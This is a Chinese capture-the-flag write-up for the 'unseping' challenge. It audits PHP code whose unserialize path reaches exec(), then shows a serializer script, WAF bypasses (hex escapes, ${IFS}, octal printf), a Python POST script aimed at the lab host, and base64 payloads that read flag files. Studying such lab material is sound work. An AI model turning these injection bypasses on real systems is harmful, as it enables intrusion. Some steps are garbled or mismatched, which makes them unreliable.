4.攻防世界 unseping
进入题目页面如下
直接给出源码,开始代码审计
<?php
// 高亮显示当前 PHP 文件的源代码,方便调试和查看代码结构
highlight_file(__FILE__);
// 定义一个名为 ease 的类
class ease {
// 定义私有属性 $method,用于存储要调用的方法名
private $method;
// 定义私有属性 $args,用于存储调用方法时传递的参数
private $args;
// 构造函数,在创建类的实例时自动调用
function __construct($method, $args) {
// 将传入的方法名赋值给 $this->method
$this->method = $method;
// 将传入的参数赋值给 $this->args
$this->args = $args;
}
// 析构函数,在对象被销毁时自动调用
function __destruct() {
// 检查 $this->method 是否在数组 ["ping"] 中
if (in_array($this->method, array("ping"))) {
// 如果 $this->method 是 "ping",则使用 call_user_func_array 函数调用对象的 $this->method 方法,并传递 $this->args 作为参数
call_user_func_array(array($this, $this->method), $this->args);
}
}
// 定义 ping 方法,用于执行系统命令
function ping($ip) {
// 使用 exec 函数执行 $ip 对应的系统命令,并将执行结果存储在 $result 数组中
exec($ip, $result);
// 使用 var_dump 函数输出 $result 数组的内容
var_dump($result);
}
// 定义 waf 方法,用于对输入字符串进行过滤
function waf($str) {
// 使用 preg_match_all 函数检查 $str 中是否包含特定的字符或关键词(如 |、&、;、空格、cat、flag、tac、php、ls 等)
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
// 如果不包含,则返回原始字符串
return $str;
} else {
// 如果包含,则输出 "don't hack"
echo "don't hack";
}
}
// 魔术方法 __wakeup,在对象被反序列化时自动调用
function __wakeup() {
// 遍历 $this->args 数组中的每个元素
foreach ($this->args as $k => $v) {
// 对每个元素调用 waf 方法进行过滤,并将过滤后的结果重新赋值给 $this->args 数组
$this->args[$k] = $this->waf($v);
}
}
}
// 从 POST 请求中获取名为 ctf 的参数值,并赋值给 $ctf 变量
$ctf = @$_POST['ctf'];
// 对 $ctf 进行 base64 解码,然后进行反序列化操作
@unserialize(base64_decode($ctf));
1. 反序列化漏洞风险
代码中接收用户通过 POST 请求传递的 ctf
参数,对其进行 base64 解码后进行反序列化操作。如果攻击者能够构造恶意的序列化字符串,就可以触发对象的魔术方法(如 __destruct
和 __wakeup
),从而执行任意代码。
2. 命令执行漏洞
ping
方法使用 exec
函数执行用户传入的命令,而 exec
函数执行的命令是由用户可控的 $ip
参数决定的。如果攻击者能够绕过 waf
方法的过滤,就可以执行任意系统命令。
3. 过滤机制
waf
方法对输入字符串进行了正则表达式过滤,禁止使用一些常见的危险字符和关键词
|
、&
、;
、空格、cat
、flag
、tac
、php
、ls
等
可以尝试使用其他方式绕过。
1. 绕过过滤机制
由于 waf
方法过滤了一些常见的命令和字符,我们可以使用一些绕过技巧,例如:
使用命令的十六进制编码:cat
可以用 \x63\x61\x74
表示。
使用反引号或 进行命令替换:例如,(echo -e '\x63\x61\x74')` 。
2. 构造恶意序列化字符串
<?php
class ease {
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
// 构造要执行的命令
$cmd = "$(echo -e '\x63\x61\x74') f\x6c\x61g.php";
// 创建 ease 类的实例
$obj = new ease("ping", array($cmd));
// 序列化对象
$serialized = serialize($obj);
// 进行 base64 编码
$encoded = base64_encode($serialized);
echo $encoded;
?>
可以用下面这个在线工具运行PHP代码
php在线运行,在线工具,在线编译IDE_w3cschool
得到结果
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo2OiJ3aG9hbWkiO319
利用POST传参
虽然执行了但是还需要绕过
空环境变量绕过
应用程序会对用户输入进行过滤,阻止恶意命令的执行。部分系统在处理命令执行时会依赖环境变量,通过利用空环境变量可以绕过某些过滤规则,达到执行恶意命令的目的。
系统在执行命令时会查找环境变量中的命令路径。当过滤规则仅对输入的明文命令进行检查时,使用空环境变量结合命令执行函数,能够让过滤规则失效,从而成功执行被过滤的命令。
利用空环境变量构造命令
在 Linux 系统中,PATH
环境变量指定了系统查找可执行文件的路径。我们可以设置一个空的 PATH
环境变量,然后通过相对路径或绝对路径来调用命令。
例如,cat
命令的绝对路径通常是 /bin/cat
发送请求
将生成的 base64 编码字符串作为 ctf
参数,通过 POST 请求发送给目标
利用 IFS
环境变量
IFS
(Internal Field Separator)是 Linux 系统中的一个环境变量,用于指定单词分割的字符。默认情况下,IFS
包含空格、制表符和换行符。我们可以修改 IFS
变量,使用其他字符作为分隔符,从而绕过对空格的过滤。
例如,构造命令时可以使用 $IFS
来代替空格:
$cmd = "/bin/cat${IFS}f\x6c\x61g.php";
3. 发送 POST 请求
将上述代码生成的 base64 编码字符串作为 ctf
参数,通过 POST 请求发送给目标 PHP 脚本:
import requests
url = 'http://61.147.171.105:61601/'
# 替换为实际生成的 base64 编码字符串
ctf = '生成的 base64 编码字符串'
data = {'ctf': ctf}
response = requests.post(url, data=data)
print(response.text)
通过以上步骤,可以绕过过滤机制,执行 cat flag.php
命令,从而获取 flag
的值。
payload:
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsIiJzIjt9fQ==
通过POST传参
看了大佬的wp才知道,链接附上
攻防世界web新手练习 -unseping_攻防世界web新手题unseping-CSDN博客
查看flag_1s_here文件时,需要运用控环境变量对cat进行绕过,空格运用${ IFS}进行绕过
再次构造payload
ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxNjk6IiQocHJpbnRmJHtJRlN9IlwxNDNcMTQxXDE2NFw0MFwxNDZcMTU0XDE0MVwxNDdcMTM3XDYxXDE2M1wxMzdcMTUwXDE0NVwxNjJcMTQ1XDU3XDE0NlwxNTRcMTQxXDE0N1wxMzdcNzBcNjNcNjFcMTQyXDY2XDcxXDYwXDYxXDYyXDE0M1w2Nlw2N1wxNDJcNjNcNjVcMTQ2XDU2XDE2MFwxNTBcMTYwIikiO319
最终得到flag